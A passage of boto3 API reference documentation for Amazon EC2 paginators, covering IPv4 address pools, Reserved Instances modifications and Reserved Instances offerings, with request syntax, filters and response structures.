to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Principals': [ + { + 'Arn': 'string', + 'Statuses': [ + { + 'Deadline': datetime(2015, 1, 1), + 'Resource': 'string', + 'UseLongIds': True|False + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Principals** _(list) --_ + + Information about the ID format settings for the ARN. + + - _(dict) --_ + + PrincipalIdFormat description + + - **Arn** _(string) --_ + + PrincipalIdFormatARN description + + - **Statuses** _(list) --_ + + PrincipalIdFormatStatuses description + + - _(dict) --_ + + Describes the ID format for a resource. + + - **Deadline** _(datetime) --_ + + The date in UTC at which you are permanently switched over to using longer IDs. If a deadline is not yet available for this resource type, this field is not returned. + + - **Resource** _(string) --_ + + The type of resource. + + - **UseLongIds** _(boolean) --_ + + Indicates whether longer IDs (17-character IDs) are enabled for the resource. + + +_class_ EC2.Paginator.DescribePublicIpv4Pools + +paginator = client.get_paginator('describe_public_ipv4_pools') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_public_ipv4_pools()](#EC2.Client.describe_public_ipv4_pools "EC2.Client.describe_public_ipv4_pools"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePublicIpv4Pools) + +**Request Syntax** + +response_iterator = paginator.paginate( + PoolIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **PoolIds** (_list_) -- + + The IDs of the address pools. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PublicIpv4Pools': [ + { + 'PoolId': 'string', + 'Description': 'string', + 'PoolAddressRanges': [ + { + 'FirstAddress': 'string', + 'LastAddress': 'string', + 'AddressCount': 123, + 'AvailableAddressCount': 123 + }, + ], + 'TotalAddressCount': 123, + 'TotalAvailableAddressCount': 123, + 'NetworkBorderGroup': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **PublicIpv4Pools** _(list) --_ + + Information about the address pools. + + - _(dict) --_ + + Describes an IPv4 address pool. + + - **PoolId** _(string) --_ + + The ID of the address pool. + + - **Description** _(string) --_ + + A description of the address pool. + + - **PoolAddressRanges** _(list) --_ + + The address ranges. + + - _(dict) --_ + + Describes an address range of an IPv4 address pool. + + - **FirstAddress** _(string) --_ + + The first IP address in the range. + + - **LastAddress** _(string) --_ + + The last IP address in the range. + + - **AddressCount** _(integer) --_ + + The number of addresses in the range. + + - **AvailableAddressCount** _(integer) --_ + + The number of available addresses in the range. + + - **TotalAddressCount** _(integer) --_ + + The total number of addresses. + + - **TotalAvailableAddressCount** _(integer) --_ + + The total number of available addresses. + + - **NetworkBorderGroup** _(string) --_ + + The name of the location from which the address pool is advertised. A network border group is a unique set of Availability Zones or Local Zones from where AWS advertises public IP addresses. + + - **Tags** _(list) --_ + + Any tags for the address pool. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeReservedInstancesModifications + +paginator = client.get_paginator('describe_reserved_instances_modifications') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_reserved_instances_modifications()](#EC2.Client.describe_reserved_instances_modifications "EC2.Client.describe_reserved_instances_modifications"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeReservedInstancesModifications) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ReservedInstancesModificationIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - client-token - The idempotency token for the modification request. + - create-date - The time when the modification request was created. + - effective-date - The time when the modification becomes effective. + - modification-result.reserved-instances-id - The ID for the Reserved Instances created as part of the modification request. This ID is only available when the status of the modification is fulfilled . + - modification-result.target-configuration.availability-zone - The Availability Zone for the new Reserved Instances. + - modification-result.target-configuration.instance-count - The number of new Reserved Instances. + - modification-result.target-configuration.instance-type - The instance type of the new Reserved Instances. + - modification-result.target-configuration.platform - The network platform of the new Reserved Instances (EC2-Classic | EC2-VPC ). + - reserved-instances-id - The ID of the Reserved Instances modified. + - reserved-instances-modification-id - The ID of the modification request. + - status - The status of the Reserved Instances modification request (processing | fulfilled | failed ). + - status-message - The reason for the status. + - update-date - The time when the modification request was last updated. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ReservedInstancesModificationIds** (_list_) -- + + IDs for the submitted modification request. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesModifications': [ + { + 'ClientToken': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'EffectiveDate': datetime(2015, 1, 1), + 'ModificationResults': [ + { + 'ReservedInstancesId': 'string', + 'TargetConfiguration': { + 'AvailabilityZone': 'string', + 'InstanceCount': 123, + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Platform': 'string', + 'Scope': 'Availability Zone'|'Region' + } + }, + ], + 'ReservedInstancesIds': [ + { + 'ReservedInstancesId': 'string' + }, + ], + 'ReservedInstancesModificationId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'UpdateDate': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeReservedInstancesModifications. + + - **ReservedInstancesModifications** _(list) --_ + + The Reserved Instance modification information. + + - _(dict) --_ + + Describes a Reserved Instance modification. + + - **ClientToken** _(string) --_ + + A unique, case-sensitive key supplied by the client to ensure that the request is idempotent. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + - **CreateDate** _(datetime) --_ + + The time when the modification request was created. + + - **EffectiveDate** _(datetime) --_ + + The time for the modification to become effective. + + - **ModificationResults** _(list) --_ + + Contains target configurations along with their corresponding new Reserved Instance IDs. + + - _(dict) --_ + + Describes the modification request/s. + + - **ReservedInstancesId** _(string) --_ + + The ID for the Reserved Instances that were created as part of the modification request. This field is only available when the modification is fulfilled. + + - **TargetConfiguration** _(dict) --_ + + The target Reserved Instances configurations supplied as part of the modification request. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone for the modified Reserved Instances. + + - **InstanceCount** _(integer) --_ + + The number of modified Reserved Instances. + + Note + + This is a required field for a request. + + - **InstanceType** _(string) --_ + + The instance type for the modified Reserved Instances. + + - **Platform** _(string) --_ + + The network platform of the modified Reserved Instances, which is either EC2-Classic or EC2-VPC. + + - **Scope** _(string) --_ + + Whether the Reserved Instance is applied to instances in a Region or instances in a specific Availability Zone. + + - **ReservedInstancesIds** _(list) --_ + + The IDs of one or more Reserved Instances. + + - _(dict) --_ + + Describes the ID of a Reserved Instance. + + - **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + - **ReservedInstancesModificationId** _(string) --_ + + A unique ID for the Reserved Instance modification. + + - **Status** _(string) --_ + + The status of the Reserved Instances modification request. + + - **StatusMessage** _(string) --_ + + The reason for the status. + + - **UpdateDate** _(datetime) --_ + + The time when the modification request was last updated. + + +_class_ EC2.Paginator.DescribeReservedInstancesOfferings + +paginator = client.get_paginator('describe_reserved_instances_offerings') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_reserved_instances_offerings()](#EC2.Client.describe_reserved_instances_offerings "EC2.Client.describe_reserved_instances_offerings"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeReservedInstancesOfferings) + +**Request Syntax** + +response_iterator = paginator.paginate( + AvailabilityZone='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + IncludeMarketplace=True|False, + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + MaxDuration=123, + MaxInstanceCount=123, + MinDuration=123, + OfferingClass='standard'|'convertible', + ProductDescription='Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + ReservedInstancesOfferingIds=[ + 'string', + ], + DryRun=True|False, + InstanceTenancy='default'|'dedicated'|'host', + OfferingType='Heavy Utilization'|'Medium Utilization'|'Light Utilization'|'No Upfront'|'Partial Upfront'|'All Upfront', + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **AvailabilityZone** (_string_) -- The Availability Zone in which the Reserved Instance can be used. +- **Filters** (_list_) -- + + One or more filters. + + - availability-zone - The Availability Zone where the Reserved Instance can be used. + - duration - The duration of the Reserved Instance (for example, one year or three years), in seconds (31536000 | 94608000 ). + - fixed-price - The purchase price of the Reserved Instance (for example, 9800.0). + - instance-type - The instance type that is covered by the reservation. + - marketplace - Set to true to show only Reserved Instance Marketplace offerings. When this filter is not used, which is the default behavior, all offerings from both AWS and the Reserved Instance Marketplace are listed. + - product-description - The Reserved Instance product platform description. Instances that include (Amazon VPC) in the product platform description will only be displayed to EC2-Classic account holders and are for use with Amazon VPC. (Linux/UNIX | Linux/UNIX (Amazon VPC) | SUSE Linux | SUSE Linux (Amazon VPC) | Red Hat Enterprise Linux | Red Hat Enterprise Linux (Amazon VPC) | Windows | Windows (Amazon VPC) | Windows with SQL Server Standard | Windows with SQL Server Standard (Amazon VPC) | Windows with SQL Server Web | Windows with SQL Server Web (Amazon VPC) | Windows with SQL Server Enterprise | Windows with SQL Server Enterprise (Amazon VPC) ) + - reserved-instances-offering-id - The Reserved Instances offering ID. + - scope - The scope of the Reserved Instance (Availability Zone or Region ). + - usage-price - The usage price of the Reserved Instance, per hour (for example, 0.84). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **IncludeMarketplace** (_boolean_) -- Include Reserved Instance Marketplace offerings in the response. +- **InstanceType** (_string_) -- The instance type that the reservation will cover (for example, m1.small ). For more information, see [Instance 